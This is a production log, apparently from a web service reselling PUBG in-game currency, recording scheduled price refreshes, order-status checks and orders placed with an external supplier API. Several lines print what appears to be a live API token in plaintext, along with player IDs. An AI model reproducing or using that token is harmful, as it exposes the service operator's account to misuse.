[2026-03-24 06:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:25:03] production.INFO: async() رجع: true  
[2026-03-24 06:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:25:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:25:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BeT0riNpapTLgdPi4j3tI7kanePeJ5kQ","execution_time":"2026-03-24 06:26:01"} 
[2026-03-24 06:26:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"BeT0riNpapTLgdPi4j3tI7kanePeJ5kQ","execution_time":"2026-03-24 06:26:01"} 
[2026-03-24 06:28:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pi7zljdZf5af1pOHXVNk7rTQqWveSczk","execution_time":"2026-03-24 06:28:01"} 
[2026-03-24 06:28:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"pi7zljdZf5af1pOHXVNk7rTQqWveSczk","execution_time":"2026-03-24 06:28:01"} 
[2026-03-24 06:30:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"xgpjE4lUueSuaO19rHhUxscDdv00fM82","execution_time":"2026-03-24 06:30:01"} 
[2026-03-24 06:30:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"xgpjE4lUueSuaO19rHhUxscDdv00fM82","execution_time":"2026-03-24 06:30:01"} 
[2026-03-24 06:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:30:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 06:30:03] production.INFO: async() رجع: true  
[2026-03-24 06:30:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:30:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:30:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:30:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k54Tap5kySksw62KIyr5YNrtBEBV2JS5","execution_time":"2026-03-24 06:32:02"} 
[2026-03-24 06:32:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"k54Tap5kySksw62KIyr5YNrtBEBV2JS5","execution_time":"2026-03-24 06:32:02"} 
[2026-03-24 06:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pF0O6MhVYwMbfS7gUPQDlr78nMib7E3o","execution_time":"2026-03-24 06:34:02"} 
[2026-03-24 06:34:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"pF0O6MhVYwMbfS7gUPQDlr78nMib7E3o","execution_time":"2026-03-24 06:34:02"} 
[2026-03-24 06:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:35:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:35:04] production.INFO: async() رجع: true  
[2026-03-24 06:35:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:35:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:35:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"uYZEt4iE9kUIzAqSMZFjdG7c3FDVdtSI","execution_time":"2026-03-24 06:36:02"} 
[2026-03-24 06:36:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"uYZEt4iE9kUIzAqSMZFjdG7c3FDVdtSI","execution_time":"2026-03-24 06:36:02"} 
[2026-03-24 06:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"07BRX1ATYcKnqeeSpFTN1JGfFWsDKgy2","execution_time":"2026-03-24 06:38:02"} 
[2026-03-24 06:38:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"07BRX1ATYcKnqeeSpFTN1JGfFWsDKgy2","execution_time":"2026-03-24 06:38:02"} 
[2026-03-24 06:40:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"X6S6RXauneEueYspbkitVWTVYOd3QNVp","execution_time":"2026-03-24 06:40:02"} 
[2026-03-24 06:40:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"X6S6RXauneEueYspbkitVWTVYOd3QNVp","execution_time":"2026-03-24 06:40:02"} 
[2026-03-24 06:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:40:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:40:02] production.INFO: Executing GetProducts task...  
[2026-03-24 06:40:04] production.INFO: async() رجع: true  
[2026-03-24 06:40:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:40:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:40:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:40:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:42:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8IBDK8RlPO1gFdLxsSjXD4ylyX4Dqm7G","execution_time":"2026-03-24 06:42:03"} 
[2026-03-24 06:42:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"8IBDK8RlPO1gFdLxsSjXD4ylyX4Dqm7G","execution_time":"2026-03-24 06:42:03"} 
[2026-03-24 06:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"22XDg8gPh6leJjKHHsNAPOrFLp77oPh5","execution_time":"2026-03-24 06:44:03"} 
[2026-03-24 06:44:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"22XDg8gPh6leJjKHHsNAPOrFLp77oPh5","execution_time":"2026-03-24 06:44:03"} 
[2026-03-24 06:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 06:45:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:45:03] production.INFO: Executing GetProducts task...  
[2026-03-24 06:45:07] production.INFO: async() رجع: true  
[2026-03-24 06:45:07] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:45:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:45:08] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:45:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:45:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1762  
[2026-03-24 06:45:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1762  
[2026-03-24 06:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EF7Xwz46AmGhLCwgccLLdx1yq8tVEMig","execution_time":"2026-03-24 06:46:02"} 
[2026-03-24 06:46:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"EF7Xwz46AmGhLCwgccLLdx1yq8tVEMig","execution_time":"2026-03-24 06:46:02"} 
[2026-03-24 06:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"8eKFJ4vE8b7BlZeamjDCTX8ULJ2tMZCc","execution_time":"2026-03-24 06:48:02"} 
[2026-03-24 06:48:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"8eKFJ4vE8b7BlZeamjDCTX8ULJ2tMZCc","execution_time":"2026-03-24 06:48:02"} 
[2026-03-24 06:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FgudlTqhScBUoyUS40Qpm8F2W3XmZk6C","execution_time":"2026-03-24 06:50:03"} 
[2026-03-24 06:50:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"FgudlTqhScBUoyUS40Qpm8F2W3XmZk6C","execution_time":"2026-03-24 06:50:03"} 
[2026-03-24 06:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 06:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 06:50:05] production.INFO: async() رجع: true  
[2026-03-24 06:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:50:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:52:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Nf68c8aVCDQh0C3VxiM5YynWGPAiV7O9","execution_time":"2026-03-24 06:52:00"} 
[2026-03-24 06:52:00] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Nf68c8aVCDQh0C3VxiM5YynWGPAiV7O9","execution_time":"2026-03-24 06:52:00"} 
[2026-03-24 06:54:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"AQ4a0DloRTPiUoN7hE1y79XyNO9iAo9G","execution_time":"2026-03-24 06:54:00"} 
[2026-03-24 06:54:00] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"AQ4a0DloRTPiUoN7hE1y79XyNO9iAo9G","execution_time":"2026-03-24 06:54:00"} 
[2026-03-24 06:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 06:55:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 06:55:00] production.INFO: Executing GetProducts task...  
[2026-03-24 06:55:02] production.INFO: async() رجع: true  
[2026-03-24 06:55:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 06:55:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 06:55:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 06:55:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 06:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ltGdKqRO3sy9tdHFe2e2iHtVyFJpr2tr","execution_time":"2026-03-24 06:56:01"} 
[2026-03-24 06:56:01] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"ltGdKqRO3sy9tdHFe2e2iHtVyFJpr2tr","execution_time":"2026-03-24 06:56:01"} 
[2026-03-24 06:57:44] production.INFO: Constructing job for order: 178525  
[2026-03-24 06:57:46] production.INFO: Handling job for order: 178525  
[2026-03-24 06:57:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 06:57:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 06:57:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2bfba17f-fca8-4c81-9b18-4e49f9982312&Player_ID=52000503996  
[2026-03-24 06:57:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2bfba17f-fca8-4c81-9b18-4e49f9982312&Player_ID=52000503996","has_body":false} 
[2026-03-24 06:57:47] production.INFO: Operation sent successfully {"operation_id":163456,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-UQr6BxpX-1774324667","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 06:57:47"}},"processed_data":{"order_number":"ORD-UQr6BxpX-1774324667","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 06:58:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02"} 
[2026-03-24 06:58:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","total_operations":1,"sites_count":1} 
[2026-03-24 06:58:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 06:58:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 06:58:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 06:58:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 06:58:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 06:58:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 06:58:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"5QyXzfSEHXMuEkj9IyBbhiVFTRW6y7CL","execution_time":"2026-03-24 06:58:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 06:58:19] production.INFO: Constructing job for order: 178526  
[2026-03-24 06:58:20] production.INFO: Handling job for order: 178526  
[2026-03-24 06:58:20] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 06:58:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 06:58:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9596d536-394c-4c3c-a8a6-b9828d919988&Player_ID=5765284583  
[2026-03-24 06:58:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9596d536-394c-4c3c-a8a6-b9828d919988&Player_ID=5765284583","has_body":false} 
[2026-03-24 06:58:21] production.INFO: Operation sent successfully {"operation_id":163457,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-D6GXf-1774324701","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 06:58:21"}},"processed_data":{"order_number":"ORD-D6GXf-1774324701","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 06:58:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-D6GXf-1774324701","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 06:58:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-D6GXf-1774324701","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 06:58:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 06:58:32] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":178526} 
[2026-03-24 06:58:32] production.INFO: Order updated successfully. Order ID: 178526, Status: completed  
[2026-03-24 06:58:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-D6GXf-1774324701","status":"completed","codes_count":0} 
[2026-03-24 06:58:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 06:59:25] production.INFO: Constructing job for order: 178527  
[2026-03-24 06:59:27] production.INFO: Handling job for order: 178527  
[2026-03-24 06:59:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 06:59:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 06:59:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b55b4d1d-6f9f-42af-8054-a077c3e7b682&Player_ID=52080577783  
[2026-03-24 06:59:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b55b4d1d-6f9f-42af-8054-a077c3e7b682&Player_ID=52080577783","has_body":false} 
[2026-03-24 06:59:28] production.INFO: Operation sent successfully {"operation_id":163458,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ezmWA9q-1774324768","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 06:59:28"}},"processed_data":{"order_number":"ORD-ezmWA9q-1774324768","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 06:59:35] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ezmWA9q-1774324768","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 06:59:35] production.INFO: Processed webhook data (normalized) {"id":"ORD-ezmWA9q-1774324768","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 06:59:35] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 06:59:35] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":178527} 
[2026-03-24 06:59:35] production.INFO: Order updated successfully. Order ID: 178527, Status: completed  
[2026-03-24 06:59:35] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ezmWA9q-1774324768","status":"completed","codes_count":0} 
[2026-03-24 06:59:37] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 07:00:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01"} 
[2026-03-24 07:00:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","total_operations":1,"sites_count":1} 
[2026-03-24 07:00:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:00:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:00:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:00:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:00:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:00:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:00:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pCbDhdRGOCjG1dmjYNrrZoWwCQ3x8nVq","execution_time":"2026-03-24 07:00:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 07:00:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 07:00:01] production.INFO: Executing GetProducts task...  
[2026-03-24 07:00:03] production.INFO: async() رجع: true  
[2026-03-24 07:00:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 07:00:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 07:00:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 07:00:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 07:00:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1762  
[2026-03-24 07:00:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1762  
[2026-03-24 07:02:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02"} 
[2026-03-24 07:02:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:02:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:02:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:02:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:02:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:02:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 07:02:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 07:02:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"G7273jaOSJf91YrtNnyb3EXuNTaxXuaP","execution_time":"2026-03-24 07:02:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 07:04:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02"} 
[2026-03-24 07:04:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","total_operations":1,"sites_count":1} 
[2026-03-24 07:04:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 07:04:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 07:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 07:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"hcuqse9QOw0tcvjW8CwBBloQltGd0Cxj","execution_time":"2026-03-24 07:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
